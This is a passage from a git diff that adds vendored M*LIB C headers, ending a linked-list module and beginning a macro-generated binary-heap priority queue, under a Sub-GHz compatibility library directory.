+    return &(it->current->data);                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cref)(const it_t it)                                             \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->current != NULL);                              \
+    return M_CONST_CAST(type, &(it->current->data));                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _size)(const list_t v)                                            \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    size_t size = 0;                                                          \
+    struct M_F(name, _s) *it = v->first;                                      \
+    while (it != NULL) {                                                      \
+      size ++;                                                                \
+      it = it->next;                                                          \
+    }                                                                         \
+    return size;                                                              \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _insert, list_t list, it_t insertion_point, type const x)   \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(list);                                          \
+    M_ASSERT (insertion_point != NULL);                                       \
+    struct M_F(name, _s) *m_volatile next = M_CALL_NEW(oplist, struct M_F(name, _s)); \
+    if (M_UNLIKELY_NOMEM (next == NULL)) {                                    \
+      M_MEMORY_FULL(struct M_F(name, _s), 1);                                 \
+    }                                                                         \
+    M_ON_EXCEPTION( M_CALL_DEL(oplist, next))                                 \
+      M_CALL_INIT_SET(oplist, next->data, x);                                 \
+    if (M_UNLIKELY (insertion_point->current == NULL)) {                      \
+      next->next = list->first;                                               \
+      list->first = next;                                                     \
+      /* update weak entry if list is empty */                                \
+      struct M_F(name, _s) *node = list->last;                                \
+      node = (node == NULL) ? next : node;                                    \
+      list->last = node;                                                      \
+    } else {                                                                  \
+      next->next = insertion_point->current->next;                            \
+      insertion_point->current->next = next;                                  \
+      /* update weak entry if current == front */                             \
+      struct M_F(name, _s) *node = list->last;                                \
+      node = (node == insertion_point->current) ? next : node;                \
+      list->last = node;                                                      \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _remove, list_t list, it_t removing_point)                  \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(list);                                          \
+    M_ASSERT (removing_point != NULL);                                        \
+    M_ASSERT(removing_point->current != NULL);                                \
+    struct M_F(name, _s) *next = removing_point->current->next;               \
+    struct M_F(name, _s) *previous = removing_point->previous;                \
+    if (M_UNLIKELY (previous == NULL)) {                                      \
+      list->first = next;                                                     \
+    } else {                                                                  \
+      previous->next = next;                                                  \
+    }                                                                         \
+    /* Update weak entry  */                                                  \
+    struct M_F(name, _s) *node = list->last;                                  \
+    node = (next == NULL) ? previous : node;                                  \
+    list->last = node;                                                        \
+    /* Remove node */                                                         \
+    M_CALL_CLEAR(oplist, removing_point->current->data);                      \
+    M_CALL_DEL(oplist, removing_point->current);                              \
+    removing_point->current = next;                                           \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _set, list_t list, const list_t org)                        \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(list);                                          \
+    M_L1ST_DUAL_PUSH_CONTRACT(org);                                           \
+    struct M_F(name, _s) *m_volatile next = NULL;                             \
+    struct M_F(name, _s) *it_org;                                             \
+    struct M_F(name, _s) **update_list;                                       \
+    if (M_UNLIKELY (list == org)) return;                                     \
+    M_F(name, _reset)M_R(list);                                               \
+    update_list = &list->first;                                               \
+    it_org = org->first;                                                      \
+    M_ASSERT(*update_list == NULL);                                           \
+    M_ON_EXCEPTION(M_CALL_DEL(oplist, next) )                                 \
+    while (it_org != NULL) {                                                  \
+      next = M_CALL_NEW(oplist, struct M_F(name, _s));                        \
+      if (M_UNLIKELY_NOMEM (next == NULL)) {                                  \
+        M_MEMORY_FULL(struct M_F(name, _s), 1);                               \
+      }                                                                       \
+      M_CALL_INIT_SET(oplist, next->data, it_org->data);                      \
+      /* Link new node to the previous one*/                                  \
+      *update_list = next;                                                    \
+      update_list = &next->next;                                              \
+      it_org = it_org->next;                                                  \
+      /* so that even on exception, the object is still coherent */           \
+      list->last = next;                                                      \
+      *update_list = NULL;                                                    \
+      M_IF_EXCEPTION(next = NULL);                                            \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _init_set, list_t list, const list_t org)                   \
+  {                                                                           \
+    M_ASSERT (list != org);                                                   \
+    M_ON_EXCEPTION( M_F(name, _clear)(list)) {                                \
+      M_F(name, _init)(list);                                                 \
+      M_F(name, _set) M_R(list, org);                                         \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_move)(list_t list, list_t org)                              \
+  {                                                                           \
+    M_ASSERT (list != org);                                                   \
+    list->first  = org->first;                                                \
+    list->last = org->last;                                                   \
+    org->first = NULL;                                                        \
+    org->last = NULL;                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _move, list_t list, list_t org)                             \
+  {                                                                           \
+    M_F(name, _clear)M_R(list);                                               \
+    M_F(name, _init_move)(list, org);                                         \
+  }                                                                           \
+                                                                              \
+  M_N(void, name, splice_strong, list_t list1, list_t list2, it_t it)         \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(list1);                                         \
+    M_L1ST_DUAL_PUSH_CONTRACT(list2);                                         \
+    M_ASSERT (it->current != NULL);                                           \
+    /* First remove the item 'it' from the list 'list2' */                    \
+    struct M_F(name, _s) *current = it->current;                              \
+    struct M_F(name, _s) *next = current->next;                               \
+    if (M_UNLIKELY(it->previous == NULL)) {                                   \
+      /* Work even if next = NULL (i.e. list becomes empty) */                \
+      list2->first = next;                                                    \
+    } else {                                                                  \
+      it->previous->next = next;                                              \
+    }                                                                         \
+    /* Update the front of 'list2' if it was the last element */              \
+    struct M_F(name, _s) *front = list2->last;                                \
+    front = (next == NULL) ? it->previous : front;                            \
+    list2->last = front;                                                      \
+    /* Update 'it' to point to the next element */                            \
+    it->current = next;                                                       \
+    /* Move the extracted 'current' into the list 'nv' */                     \
+    current->next = list1->first;                                             \
+    list1->first = current;                                                   \
+    /* Update the front field if the list 'nv' was empty */                   \
+    /* This C code shall generate branchless code */                          \
+    front = list1->last;                                                      \
+    front = (front == NULL) ? current : front;                                \
+    list1->last = front;                                                      \
+    M_L1ST_DUAL_PUSH_CONTRACT(list1);                                         \
+    M_L1ST_DUAL_PUSH_CONTRACT(list2);                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _splice_at)(list_t nlist, it_t npos,                              \
+                        list_t olist, it_t opos)                              \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(nlist);                                         \
+    M_L1ST_DUAL_PUSH_CONTRACT(olist);                                         \
+    M_ASSERT (npos != NULL && opos != NULL);                                  \
+    /* First remove the item 'opos' from the list 'olist' */                  \
+    struct M_F(name, _s) *current = opos->current;                            \
+    /* It shall refer a valid argument in the list */                         \
+    M_ASSERT(current != NULL);                                                \
+    struct M_F(name, _s) *next    = current->next;                            \
+    if (opos->previous == NULL) {                                             \
+      olist->first = next;                                                    \
+    } else {                                                                  \
+      opos->previous->next = next;                                            \
+    }                                                                         \
+    /* Update the front of 'olist' if it was the last element */              \
+    struct M_F(name, _s) *front = olist->last;                                \
+    front = (next == NULL) ? opos->previous : front;                          \
+    olist->last = front;                                                      \
+    /* Update 'opos' to point to the next element */                          \
+    opos->current  = next;                                                    \
+    /* opos->previous is still valid & doesn't need to be updated */          \
+    /* Insert into 'nlist' */                                                 \
+    struct M_F(name, _s) *npos_current = npos->current;                       \
+    if (M_UNLIKELY (npos_current == NULL)) {                                  \
+      current->next = nlist->first;                                           \
+      nlist->first = current;                                                 \
+      /* update 'front' if the list was empty (branchless) */                 \
+      front = nlist->last;                                                    \
+      front = (front == NULL) ? current : front;                              \
+      nlist->last = front;                                                    \
+    } else {                                                                  \
+      current->next = npos_current->next;                                     \
+      npos_current->next = current;                                           \
+      /* update front if current == front (branchless) */                     \
+      front = nlist->last;                                                    \
+      front = (front == npos_current) ? current : front;                      \
+      nlist->last = front;                                                    \
+    }                                                                         \
+    /* Update 'npos' to point to 'current'. */                                \
+    npos->previous = npos_current;                                            \
+    npos->current = current;                                                  \
+    M_L1ST_DUAL_PUSH_CONTRACT(nlist);                                         \
+    M_L1ST_DUAL_PUSH_CONTRACT(olist);                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _splice)(list_t list1, list_t list2)                              \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(list1);                                         \
+    M_L1ST_DUAL_PUSH_CONTRACT(list2);                                         \
+    M_ASSERT (list1 != list2);                                                \
+    if (M_LIKELY (list1->last != NULL)) {                                     \
+      list1->last->next = list2->first;                                       \
+      list1->last = list2->last;                                              \
+    } else {                                                                  \
+      /* list1 is empty */                                                    \
+      list1->first  = list2->first;                                           \
+      list1->last = list2->last;                                              \
+    }                                                                         \
+    list2->first = NULL;                                                      \
+    list2->last = NULL;                                                       \
+    M_L1ST_DUAL_PUSH_CONTRACT(list1);                                         \
+    M_L1ST_DUAL_PUSH_CONTRACT(list2);                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _reverse)(list_t list)                                            \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(list);                                          \
+    list->last = list->first;                                                 \
+    struct M_F(name, _s) *previous = NULL, *it = list->first, *next;          \
+    while (it != NULL) {                                                      \
+      next = it->next;                                                        \
+      it->next = previous;                                                    \
+      previous = it;                                                          \
+      it = next;                                                              \
+    }                                                                         \
+    list->first = previous;                                                   \
+    M_L1ST_DUAL_PUSH_CONTRACT(list);                                          \
+  }                                                                           \
+
+
+/* Deferred evaluation for the bi-push list definition,
+   so that all arguments are evaluated before further expansion */
+#define M_L1ST_DUALF_DEF_P1(arg) M_ID( M_L1ST_DUALF_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_L1ST_DUALF_DEF_P2(name, type, oplist, list_t, it_t)                 \
+  M_IF_OPLIST(oplist)(M_L1ST_DUALF_DEF_P3, M_L1ST_DUALF_DEF_FAILURE)(name, type, oplist, list_t, it_t)
+
+/* Stop processing with a compilation failure */
+#define M_L1ST_DUALF_DEF_FAILURE(name, type, oplist, list_t, it_t)            \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(LIST_DUALF_DEF): the given argument is not a valid oplist: " #oplist)
+
+/* Internal bi-push list definition (like dual-push but inverts front & back)
+   - name: prefix to be used
+   - type: type of the elements of the array
+   - oplist: oplist of the type of the elements of the container
+   - list_t: alias for M_F(name, _t) [ type of the container ]
+   - it_t: alias for M_F(name, _it_t) [ iterator of the container ]
+ */
+#define M_L1ST_DUALF_DEF_P3(name, type, oplist, list_t, it_t)                 \
+  M_L1ST_DUAL_PUSH_DEF_TYPE(name, type, oplist, list_t, it_t)                 \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_L1ST_DUAL_PUSH_DEF_P4(name, type, oplist, list_t, it_t, _front, _push_front_raw, _push_front, _push_front_move, _push_front_new, _pop_front, _back, _push_back_raw, _push_back, _push_back_move, _push_back_new, _splice_front) \
+  M_EMPLACE_QUEUE_DEF(name, list_t, _emplace_front, oplist, M_L1ST_EMPLACE_STRONG_DEF) \
+  M_EMPLACE_QUEUE_DEF(name, list_t, _emplace_back, oplist, M_L1ST_EMPLACE_WEAK_DEF) \
+  M_L1ST_ITBASE_DEF(name, type, oplist, list_t, it_t)
+
+// Outdated name
+#define M_LIST_DUAL_PUSH_DEF M_LIST_DUALB_DEF
+#define M_LIST_DUAL_PUSH_DEF_AS M_LIST_DUALB_DEF_AS
+
+#if M_USE_SMALL_NAME
+#define LIST_DEF M_LIST_DEF
+#define LIST_DEF_AS M_LIST_DEF_AS
+#define LIST_DUALB_DEF M_LIST_DUALB_DEF
+#define LIST_DUALB_DEF_AS M_LIST_DUALB_AS
+#define LIST_DUAL_PUSH_DEF M_LIST_DUALB_DEF
+#define LIST_DUAL_PUSH_DEF_AS M_LIST_DUALB_DEF_AS
+#define LIST_DUALF_DEF M_LIST_DUALF_DEF
+#define LIST_DUALF_DEF_AS M_LIST_DUALF_DEF_AS
+#define LIST_OPLIST M_LIST_OPLIST
+#define LIST_DUALF_OPLIST M_LIST_DUALF_OPLIST
+#define LIST_INIT_VALUE M_LIST_INIT_VALUE
+#define LIST_DUAL_PUSH_INIT_VALUE M_LIST_DUAL_PUSH_INIT_VALUE
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-prioqueue.h b/lib/subghz_unleashed_compat/include/mlib/m-prioqueue.h
new file mode 100644
index 000000000..301e470c7
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-prioqueue.h
@@ -0,0 +1,541 @@
+/*
+ * M*LIB - dynamic priority queue module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_PRIOQUEUE_H
+#define MSTARLIB_PRIOQUEUE_H
+
+#include "m-array.h"            /* Priority queue are built upon array */
+
+/* Priority queue based on binary heap implementation */
+
+/* Define a priority queue (prioqueue) of a given type and its associated functions.
+   USAGE: PRIOQUEUE_DEF(name, type [, oplist_of_the_type]) */
+#define M_PRIOQUEUE_DEF(name, ...)                                            \
+  M_PRIOQUEUE_DEF_AS(name, M_F(name,_t), M_F(name,_it_t), __VA_ARGS__)
+
+
+/* Define a priority queue (prioqueue) of a given type and its associated functions.
+  as the name name_t with an iterator named it_t
+   USAGE: PRIOQUEUE_DEF_AS(name, name_t, it_t, type [, oplist_of_the_type]) */
+#define M_PRIOQUEUE_DEF_AS(name, name_t, it_t, ...)                           \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_PR1OQUEUE_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                              \
+                    ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t ), \
+                     (name, __VA_ARGS__,                                        name_t, it_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define the oplist of a prioqueue of type.
+   USAGE: PRIOQUEUE_OPLIST(name[, oplist of the type]) */
+#define M_PRIOQUEUE_OPLIST(...)                                               \
+  M_PR1OQUEUE_OPLIST_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                           \
+                       ((__VA_ARGS__, M_BASIC_OPLIST),                        \
+                        (__VA_ARGS__ )))
+
+
+/*****************************************************************************/
+/********************************** INTERNAL *********************************/
+/*****************************************************************************/
+
+/* Deferred evaluation for the definition,
+   so that all arguments are evaluated before further expansion */
+#define M_PR1OQUEUE_OPLIST_P1(arg) M_PR1OQUEUE_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_PR1OQUEUE_OPLIST_P2(name, oplist)                                   \
+  M_IF_OPLIST(oplist)(M_PR1OQUEUE_OPLIST_P3, M_PR1OQUEUE_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_PR1OQUEUE_OPLIST_FAILURE(name, oplist)                              \
+  ((M_LIB_ERROR(ARGUMENT_OF_PRIOQUEUE_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* Define oplist of a priority queue */
+#ifndef M_USE_CONTEXT
+#define M_PR1OQUEUE_OPLIST_P3(name, oplist)                                   \
+  (INIT(M_F(name, _init))                                                     \
+   ,INIT_SET(M_F(name, _init_set))                                            \
+   ,INIT_WITH(API_1(M_INIT_VAI))                                              \
+   ,SET(M_F(name, _set))                                                      \
+   ,CLEAR(M_F(name, _clear))                                                  \
+   ,INIT_MOVE(M_F(name, _init_move))                                          \
+   ,MOVE(M_F(name, _move))                                                    \
+   ,SWAP(M_F(name, _swap))                                                    \
+   ,NAME(name)                                                                \
+   ,TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*)                        \
+   ,SUBTYPE(M_F(name, _subtype_ct))                                           \
+   ,RESET(M_F(name,_reset))                                                   \
+   ,PUSH(M_F(name,_push))                                                     \
+   ,POP(M_F(name,_pop))                                                       \
+   ,OPLIST(oplist)                                                            \
+   ,EMPTY_P(M_F(name, _empty_p))                                              \
+   ,GET_SIZE(M_F(name, _size))                                                \
+   ,IT_TYPE(M_F(name, _it_ct))                                                \
+   ,IT_FIRST(M_F(name,_it))                                                   \
+   ,IT_END(M_F(name,_it_end))                                                 \
+   ,IT_SET(M_F(name,_it_set))                                                 \
+   ,IT_END_P(M_F(name,_end_p))                                                \
+   ,IT_EQUAL_P(M_F(name,_it_equal_p))                                         \
+   ,IT_LAST_P(M_F(name,_last_p))                                              \
+   ,IT_NEXT(M_F(name,_next))                                                  \
+   ,IT_CREF(M_F(name,_cref))                                                  \
+   ,M_IF_METHOD(GET_STR, oplist)(GET_STR(M_F(name, _get_str)),)               \
+   ,M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(M_F(name, _parse_str)),)         \
+   ,M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),)               \
+   ,M_IF_METHOD(IN_STR, oplist)(IN_STR(M_F(name, _in_str)),)                  \
+   ,M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(M_F(name, _out_serial)),)      \
+   ,M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(M_F(name, _in_serial)),)         \
+   )
+#else
+#define M_PR1OQUEUE_OPLIST_P3(name, oplist)                                   \
+  (INIT(M_F(name, _init))                                                     \
+   ,INIT_SET(API_0P(M_F(name, _init_set)))                                    \
+   ,INIT_WITH(API_1(M_INIT_VAI))                                              \
+   ,SET(API_0P(M_F(name, _set)))                                              \
+   ,CLEAR(API_0P(M_F(name, _clear)))                                          \
+   ,INIT_MOVE(M_F(name, _init_move))                                          \
+   ,MOVE(API_0P(M_F(name, _move)))                                            \
+   ,SWAP(M_F(name, _swap))                                                    \
+   ,NAME(name)                                                                \
+   ,TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*)                        \
+   ,SUBTYPE(M_F(name, _subtype_ct))                                           \
+   ,RESET(API_0P(M_F(name,_reset)))                                           \
+   ,PUSH(API_0P(M_F(name,_push)))                                             \
+   ,POP(API_0P(M_F(name,_pop)))                                               \
+   ,OPLIST(oplist)                                                            \
+   ,EMPTY_P(M_F(name, _empty_p))                                              \
+   ,GET_SIZE(M_F(name, _size))                                                \
+   ,IT_TYPE(M_F(name, _it_ct))                                                \
+   ,IT_FIRST(M_F(name,_it))                                                   \
+   ,IT_END(M_F(name,_it_end))                                                 \
+   ,IT_SET(M_F(name,_it_set))                                                 \
+   ,IT_END_P(M_F(name,_end_p))                                                \
+   ,IT_EQUAL_P(M_F(name,_it_equal_p))                                         \
+   ,IT_LAST_P(M_F(name,_last_p))                                              \
+   ,IT_NEXT(M_F(name,_next))                                                  \
+   ,IT_CREF(M_F(name,_cref))                                                  \
+   ,M_IF_METHOD(GET_STR, oplist)(GET_STR(API_0P(M_F(name, _get_str))),)       \
+   ,M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(API_0P(M_F(name, _parse_str))),) \
+   ,M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),)               \
+   ,M_IF_METHOD(IN_STR, oplist)(IN_STR(API_0P(M_F(name, _in_str))),)          \
+   ,M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(API_0P(M_F(name, _out_serial))),) \
+   ,M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(API_0P(M_F(name, _in_serial))),) \
+   )
+#endif
+
+/********************************** INTERNAL *********************************/
+
+/* Deferred evaluation for the definition,
+   so that all arguments are evaluated before further expansion */
+#define M_PR1OQUEUE_DEF_P1(arg)    M_ID( M_PR1OQUEUE_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_PR1OQUEUE_DEF_P2(name, type, oplist, prioqueue_t, it_t)             \
+  M_IF_OPLIST(oplist)(M_PR1OQUEUE_DEF_P3, M_PR1OQUEUE_DEF_FAILURE)(name, type, oplist, prioqueue_t, it_t)
+
+/* Stop processing with a compilation failure */
+#define M_PR1OQUEUE_DEF_FAILURE(name, type, oplist, prioqueue_t, it_t)        \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(PRIOQUEUE_DEF): the given argument is not a valid oplist: " #oplist)
+
+/* Define the priority queue:
+   - name: prefix to use,
+   - type: type of the contained objects,
+   - oplist: oplist of the contained objects,
+   - prioqueue_t: type of the container,
+   - it_t: iterator of the container
+*/
+#define M_PR1OQUEUE_DEF_P3(name, type, oplist, prioqueue_t, it_t)             \
+  /* Definition of the internal array used to construct the priority queue */ \
+  M_ARRAY_DEF(M_F(name, _array), type, oplist)                                \
+  M_PR1OQUEUE_DEF_TYPE(name, type, oplist, prioqueue_t, it_t)                 \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_PR1OQUEUE_DEF_CORE(name, type, oplist, prioqueue_t, it_t)                 \
+  M_PR1OQUEUE_DEF_IT(name, type, oplist, prioqueue_t, it_t)                   \
+  M_PR1OQUEUE_DEF_IO(name, type, oplist, prioqueue_t, it_t)                   \
+  M_EMPLACE_QUEUE_DEF(name, prioqueue_t, _emplace, oplist, M_EMPLACE_QUEUE_GENE)
+
+/* Define the types */
+#define M_PR1OQUEUE_DEF_TYPE(name, type, oplist, prioqueue_t, it_t)           \
+                                                                              \
+  /* Define the priority queue over the defined array */                      \
+  typedef struct M_F(name, _s) {                                              \
+    M_F(name, _array_t) array;                                                \
+  } prioqueue_t[1];                                                           \
+  /* Define the pointer references to the priority queue */                   \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+                                                                              \
+  /* The iterator is the same one as the one of the internal array */         \
+  typedef M_F(name, _array_it_t) it_t;                                        \
+                                                                              \
+  /* Definition of the internal types used by the oplist */                   \
+  typedef prioqueue_t M_F(name, _ct);                                         \
+  typedef type        M_F(name, _subtype_ct);                                 \
+  typedef it_t        M_F(name, _it_ct);                                      \
+
+/* Define the core functions */
+#define M_PR1OQUEUE_DEF_CORE(name, type, oplist, prioqueue_t, it_t)           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init)(prioqueue_t p)                                             \
+  {                                                                           \
+    M_F(name, _array_init)(p->array);                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _init_set, prioqueue_t p, prioqueue_t const o)              \
+  {                                                                           \
+    M_F(name, _array_init_set) M_R(p->array, o->array);                       \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _set, prioqueue_t p, prioqueue_t const o)                   \
+  {                                                                           \
+    M_F(name, _array_set) M_R(p->array, o->array);                            \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _clear, prioqueue_t p)                                      \
+  {                                                                           \
+    M_F(name, _array_clear) M_R(p->array);                                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_move)(prioqueue_t p, prioqueue_t o)                         \
+  {                                                                           \
+    M_F(name, _array_init_move)(p->array, o->array);                          \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _move, prioqueue_t p, prioqueue_t o)                        \
+  {                                                                           \
+    M_F(name, _array_move) M_R(p->array, o->array);                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _swap)(prioqueue_t p, prioqueue_t o)                              \
+  {                                                                           \
+    M_F(name, _array_swap)(p->array, o->array);                               \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _reset, prioqueue_t p)                                      \
+  {                                                                           \
+    M_F(name, _array_reset)M_R(p->array);                                     \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _i_parent)(size_t i)                                              \
+  {                                                                           \
+    M_ASSERT (i > 0);                                                         \
+    return (i - 1) / 2;                                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _i_lchild)(size_t i)                                              \
+  {                                                                           \
+    M_ASSERT(i <= ((SIZE_MAX)-2)/2);                                          \
+    return 2*i + 1;                                                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _i_rchild)(size_t i)                                              \
+  {                                                                           \
+    M_ASSERT(i <= ((SIZE_MAX)-2)/2);                                          \
+    return 2*i + 2;                                                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE int                                                                \
+  M_F(name, _i_cmp)(const prioqueue_t p, size_t i, size_t j)                  \
+  {                                                                           \
+    return M_CALL_CMP(oplist, *M_F(name, _array_cget)(p->array, i),           \
+                      *M_F(name, _array_cget)(p->array, j));                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _empty_p)(prioqueue_t const p)                                    \
+  {                                                                           \
+    return M_F(name, _array_empty_p)(p->array);                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _size)(prioqueue_t const p)                                       \
+  {                                                                           \
+    return M_F(name, _array_size)(p->array);                                  \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _push, prioqueue_t p, type const x)                         \
+  {                                                                           \
+    /* Push back the new element at the end of the array */                   \
+    M_F(name, _array_push_back) M_R(p->array, x);                             \
+                                                                              \
+    /* Reorder the array by swapping with its parent                          \
+     * until it reaches the right position */                                 \
+    size_t i = M_F(name, _array_size)(p->array)-1;                            \
+    while (i > 0) {                                                           \
+      size_t j = M_F(name, _i_parent)(i);                                     \
+      if (M_F(name, _i_cmp)(p, j, i) <= 0)                                    \
+        break;                                                                \
+      M_F(name, _array_swap_at) (p->array, i, j);                             \
+      i = j;                                                                  \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _front)(prioqueue_t const p)                                      \
+  {                                                                           \
+    return M_F(name, _array_cget)(p->array, 0);                               \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _pop, type *x, prioqueue_t p)                               \
+  {                                                                           \
+    /* Swap the front element with the last element */                        \
+    size_t size = M_F(name, _array_size)(p->array)-1;                         \
+    M_F(name, _array_swap_at) (p->array, 0, size);                            \
+    /* Swap the new last element  */                                          \
+    M_F(name, _array_pop_back) M_R(x, p->array);                              \
+                                                                              \
+    /* Reorder the heap */                                                    \
+    size_t i = 0;                                                             \
+    while (true) {                                                            \
+      size_t child = M_F(name, _i_lchild)(i);                                 \
+      if (child >= size)                                                      \
+        break;                                                                \
+      size_t otherChild = M_F(name, _i_rchild)(i);                            \
+      if (otherChild < size                                                   \
+          && M_F(name, _i_cmp)(p, otherChild, child) < 0 ) {                  \
+        child = otherChild;                                                   \
+      }                                                                       \
+      if (M_F(name, _i_cmp)(p, i, child) <= 0)                                \
+        break;                                                                \
+      M_F(name, _array_swap_at) (p->array, i, child);                         \
+      i = child;                                                              \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(EQUAL, oplist)                                                  \
+  (                                                                           \
+    /* EQUAL & CMP may be uncorrelated */                                     \
+    M_INLINE bool                                                             \
+    M_F(name, _equal_p)(prioqueue_t const p, prioqueue_t const q)             \
+    {                                                                         \
+      return M_F(name, _array_equal_p)(p->array, q->array);                   \
+    }                                                                         \
+                                                                              \
+   M_INLINE size_t                                                            \
+   M_F(name, _i_find)(prioqueue_t p, type const x)                            \
+   {                                                                          \
+     size_t size = M_F(name, _array_size)(p->array);                          \
+     size_t i = 0;                                                            \
+     for(i = 0; i < size; i++) {                                              \
+       /* We cannot use CMP and the partial order to go faster                \
+        EQUAL & CMP may be uncorrelated */                                    \
+       if (M_CALL_EQUAL(oplist, *M_F(name, _array_cget)(p->array, i), x))     \
+         break;                                                               \
+     }                                                                        \
+     return i;                                                                \
+   }                                                                          \
+                                                                              \
+   M_P(bool, name, _erase, prioqueue_t p, type const x)                       \
+   {                                                                          \
+     /* First pass: search for an item EQUAL to x */                          \
+     size_t size = M_F(name, _array_size)(p->array);                          \
+     size_t i = M_F(name, _i_find)(p, x);                                     \
+     /* If x is not found, then stop */                                       \
+     if (i >= size)                                                           \
+       return false;                                                          \
+     /* Swap the found item and the last element */                           \
+     size--;                                                                  \
+     M_F(name, _array_swap_at) (p->array, i, size);                           \
+     M_F(name, _array_pop_back) M_R(NULL, p->array);                          \
+     /* Move back the last swapped element to its right position in the heap */ \
+     while (true) {                                                           \
+       size_t child = M_F(name, _i_lchild)(i);                                \
